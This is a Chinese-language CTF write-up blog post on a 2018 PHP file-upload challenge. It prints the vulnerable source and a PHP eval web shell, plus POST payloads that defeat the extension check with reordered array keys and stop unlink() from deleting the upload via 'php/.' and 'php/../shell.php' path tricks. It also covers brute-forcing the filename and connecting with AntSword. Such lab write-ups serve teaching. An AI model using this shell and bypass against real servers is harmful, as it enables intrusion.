12月14, 2018

CTF-web 笔记 12

骇极杯 2018 web3

题目给出了源码,比赛的时候看了几眼觉得麻烦没做,但是源码一直被我留着。

最近还原了一下题目环境,由于本地 Windows 环境下 PHP 的unlink()绕过方式在这题不适用,就放在服务器上了。


代码分析

源码如下,做了一些注释:

<?php
    $dir=md5("icq");
    $sandbox = '/var/sandbox/' . $dir;
    @mkdir($sandbox);//创建文件夹
    @chdir($sandbox);//将新创建的文件夹作为当前目录
    if($_FILES['file']['name']){//如果有上传的文件存在
        $filename = !empty($_POST['file']) ? $_POST['file'] : $_FILES['file']['name'];//将文件的名字或者POST上来的"file"的值优先取出
        if (!is_array($filename)) {//如果不是数组,去掉'.',拆成数组
            $filename = explode('.', $filename);
        }
        $ext = end($filename);//取数组的最后一个元素
        if($ext==$filename[count($filename) - 1]){//如果相等就GG
            die("emmmm...");
        }
        $new_name = (string)rand(100,999).".".$ext;//随机生成文件名
        move_uploaded_file($_FILES['file']['tmp_name'],$new_name);//将文件存到新的路径下
        $_ = $_POST['hehe'];
        if(@substr(file($_)[0],0,6)==='@<?php' && strpos($_,$new_name)===false){//满足条件则包含
            include($_);
        }
        unlink($new_name);//删除文件
    }
    else{
        highlight_file(__FILE__);
    }
?>

可以看出大致思路是上传,绕过,包含,getshell。

关键在于要绕过unlink()函数,不然会导致 getshell 失败。


无表单文件上传

首先需要上传一个文件,由于没有表单,比赛的时候觉得很麻烦就放弃了。

在本地写了一个表单:

form

写好 shell:

<?php
    if(empty($_POST["Sh311"]))
        echo "sucess";
    else
        @eval($_POST['Sh311']);
?>

上传,然后抓包:

catch

把 POST 的文件部分的格式复制下来,改改boundary就可以。

当然,该文件是无法被保存的,于是要进行下面的绕过。


逻辑绕过

下面这段:

$filename = !empty($_POST['file']) ? $_POST['file'] : $_FILES['file']['name'];
if (!is_array($filename)) {
    $filename = explode('.', $filename);
}

如果不是数组会被过滤,于是要 POST 一个数组file

然后是这段:

$ext = end($filename);
if($ext==$filename[count($filename) - 1]){
    die("emmmm...");
}

PHP 中数组的元素的顺序并不是根据键名的数字来排的,而且键名还不一定是数字。

比如 POST:

file[1]=aaa&file[0]=bbb

$ext的值是bbb,就可以绕过。

然后到了关键的unlink()

$new_name = (string)rand(100,999).".".$ext;
......
unlink($new_name);

这篇博客详细说明了unlink()的绕过方法。

简单说就是 PHP 在读写文件的时候需要打开文件流,会把路径标准化为绝对路径。

但是在删除或者重命名的时候,不会打开文件流,文件名除了前缀以外的位置如果还含有路径,就会删除失败。

如果 POST:

file[1]=aaa&file[0]=php/.

upload

则新的文件名为xxx.php/.,在move_uploaded_file()处理的时候,会转化为绝对路径,成功将xxx.php保存。

但是unlink()删除失败,xxx.php就被保存了下来。


文件包含

由于文件名是随机生成的,直接上 Intruder:

intruder

成功 getshell:

getshell

蚁剑连上,此题也就结束了:

antsword

但是这种方法需要爆破,如果随机的范围稍大一些就不行,于是可以试试绕过随机函数。


另一种绕过方式

如果 POST:

file[1]=aaa&file[0]=php/../shell.php

新的文件名为xxx.php/../shell.php,用了一个相对路径,创建的其实是当前目录下的shell.php,同样也能绕过unlink()

这样能直接 getshell:

getshell better

flag

蚁剑连上,然后随便翻翻就能找到 flag 了。


授权 www-data 用户组

还原题目时,由于 nginx + PHP-FPM 使用的默认用户是 www-data,而网站的目录归属于 root 用户,权限不够。

对网站目录进行授权即可:

chown -R www-data:www-data /var/www/html

chmod也可以,但这个习惯不好。

本文链接:https://blog.cindemor.com/post/ctf-web-12.html

-- EOF --